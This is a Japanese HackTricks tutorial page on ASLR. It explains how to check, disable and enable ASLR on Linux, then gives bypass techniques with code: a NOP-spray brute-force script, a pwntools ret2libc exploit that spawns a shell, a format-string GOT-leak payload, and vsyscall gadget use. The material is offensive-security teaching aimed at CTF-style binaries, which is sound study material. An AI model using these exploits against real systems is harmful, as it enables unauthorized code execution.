ASLR
Reading time: 16 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
アドレス空間配置のランダム化 (ASLR) は、オペレーティングシステムで使用されるセキュリティ技術で、システムおよびアプリケーションプロセスによって使用されるメモリアドレスをランダム化します。これにより、攻撃者が特定のプロセスやデータ(スタック、ヒープ、ライブラリなど)の位置を予測することが非常に困難になり、特にバッファオーバーフローなどの特定のタイプのエクスプロイトを軽減します。
ASLRの状態を確認する
LinuxシステムでASLRの状態を確認するには、**/proc/sys/kernel/randomize_va_space
**ファイルから値を読み取ります。このファイルに保存されている値は、適用されるASLRのタイプを決定します:
- 0: ランダム化なし。すべてが静的です。
- 1: 保守的なランダム化。共有ライブラリ、スタック、mmap()、VDSOページがランダム化されます。
- 2: 完全なランダム化。保守的なランダム化によってランダム化された要素に加えて、
brk()
を通じて管理されるメモリがランダム化されます。
次のコマンドでASLRの状態を確認できます:
cat /proc/sys/kernel/randomize_va_space
ASLRの無効化
ASLRを無効化するには、/proc/sys/kernel/randomize_va_space
の値を0に設定します。ASLRを無効化することは、一般的にテストやデバッグのシナリオ以外では推奨されません。以下は、無効化する方法です:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
実行のためにASLRを無効にすることもできます:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
ASLRの有効化
ASLRを有効化するには、/proc/sys/kernel/randomize_va_space
ファイルに2の値を書き込むことができます。これには通常、root権限が必要です。完全なランダム化は、次のコマンドで行うことができます:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
再起動を跨いだ持続性
echo
コマンドで行った変更は一時的であり、再起動時にリセットされます。変更を持続させるには、/etc/sysctl.conf
ファイルを編集し、以下の行を追加または修正する必要があります:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
/etc/sysctl.conf
を編集した後、次のコマンドで変更を適用します:
sudo sysctl -p
これにより、再起動後もASLR設定が維持されます。
バイパス
32ビットブルートフォース
PaXはプロセスアドレス空間を3つのグループに分けます:
- コードとデータ(初期化済みおよび未初期化):
.text
、.data
、および.bss
—>delta_exec
変数に16ビットのエントロピー。この変数は各プロセスでランダムに初期化され、初期アドレスに加算されます。 mmap()
によって割り当てられたメモリおよび共有ライブラリ —> 16ビット、delta_mmap
と呼ばれます。- スタック —> 24ビット、
delta_stack
と呼ばれます。ただし、実際には11ビット(10バイト目から20バイト目までを含む)を使用し、16バイトに整列されています —> これにより、524,288の実際のスタックアドレスが可能になります。
前述のデータは32ビットシステム用であり、最終的なエントロピーが減少することで、エクスプロイトが成功するまで実行を何度も再試行することでASLRをバイパスすることが可能になります。
ブルートフォースのアイデア:
- シェルコードの前に大きなNOPスレッドをホストするのに十分なオーバーフローがある場合、スタック内のアドレスをブルートフォースして、フローがNOPスレッドの一部を飛び越えるまで試すことができます。
- オーバーフローがそれほど大きくなく、エクスプロイトをローカルで実行できる場合は、環境変数にNOPスレッドとシェルコードを追加することが可能です。
- エクスプロイトがローカルである場合、libcのベースアドレスをブルートフォースすることを試みることができます(32ビットシステムに便利です):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- リモートサーバーを攻撃する場合、
libc
関数usleep
のアドレスをブルートフォースすることを試みることができます。引数として10を渡します(例えば)。もしある時点でサーバーが応答するのに10秒余分にかかる場合、その関数のアドレスを見つけたことになります。
tip
64ビットシステムではエントロピーがはるかに高く、これは不可能であるべきです。
64ビットスタックのブルートフォース
環境変数でスタックの大部分を占有し、その後、バイナリをローカルで何百回、何千回も悪用しようとすることが可能です。
以下のコードは、スタック内のアドレスを選択するだけで、数百回の実行ごとにそのアドレスがNOP命令を含むことができる方法を示しています。
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
.png)
ローカル情報 (/proc/[pid]/stat
)
プロセスのファイル /proc/[pid]/stat
は常に誰でも読み取ることができ、興味深い情報が含まれています:
- startcode & endcode: バイナリのTEXTの上と下のアドレス
- startstack: スタックの開始アドレス
- start_data & end_data: BSSの上と下のアドレス
- kstkesp & kstkeip: 現在のESPとEIPアドレス
- arg_start & arg_end: cli argumentsの上と下のアドレス
- env_start &env_end: env variablesの上と下のアドレス
したがって、攻撃者がエクスプロイトされているバイナリと同じコンピュータにいる場合、このバイナリが生の引数からのオーバーフローを期待していないが、このファイルを読み取った後に作成できる別の入力からのオーバーフローを期待している場合、攻撃者はこのファイルからいくつかのアドレスを取得し、それらからオフセットを構築してエクスプロイトを行うことが可能です。
tip
このファイルに関する詳細は、https://man7.org/linux/man-pages/man5/proc.5.htmlで/proc/pid/stat
を検索してください。
リークを持つこと
- 課題はリークを提供することです
リークが与えられた場合(簡単なCTFチャレンジ)、それからオフセットを計算することができます(例えば、エクスプロイトしているシステムで使用されている正確なlibcバージョンを知っていると仮定します)。この例のエクスプロイトは、ここからの例から抜粋されています(詳細はそのページを確認してください):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
バッファオーバーフローを悪用することで、ret2pltを利用してlibcの関数のアドレスを抽出することが可能です。確認してください:
- Format Strings Arbitrary Read
ret2pltと同様に、フォーマット文字列の脆弱性を介して任意の読み取りが可能であれば、GOTからlibc関数のアドレスを抽出することができます。以下の例はここから:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
フォーマット文字列の任意の読み取りに関する詳細情報は次の場所で見つけることができます:
Ret2ret & Ret2pop
スタック内のアドレスを悪用してASLRをバイパスしようとします:
vsyscall
vsyscall
メカニズムは、特定のシステムコールをユーザースペースで実行できるようにすることでパフォーマンスを向上させますが、これらは基本的にカーネルの一部です。vsyscall の重要な利点は、ASLR(アドレス空間配置のランダム化)の影響を受けない固定アドレスにあります。この固定性により、攻撃者はアドレスを特定し、エクスプロイトで使用するために情報漏洩の脆弱性を必要としません。
ただし、ここでは特に興味深いガジェットは見つかりません(例えば、ret;
の同等物を取得することは可能ですが)。
(以下の例とコードは この書き込みから です)
例えば、攻撃者はエクスプロイト内でアドレス 0xffffffffff600800
を使用するかもしれません。ret
命令に直接ジャンプしようとすると、いくつかのガジェットを実行した後に不安定になったりクラッシュしたりする可能性がありますが、vsyscall セクションによって提供される syscall
の開始地点にジャンプすることは成功する可能性があります。このvsyscall アドレスへの実行を導くROPガジェットを慎重に配置することで、攻撃者はこのエクスプロイトの部分でASLRをバイパスすることなくコード実行を達成できます。
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
vDSO
したがって、カーネルが CONFIG_COMPAT_VDSO でコンパイルされている場合、vdso を悪用して ASLR をバイパスすることが可能であることに注意してください。vdso アドレスはランダム化されません。詳細については、次を確認してください:
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。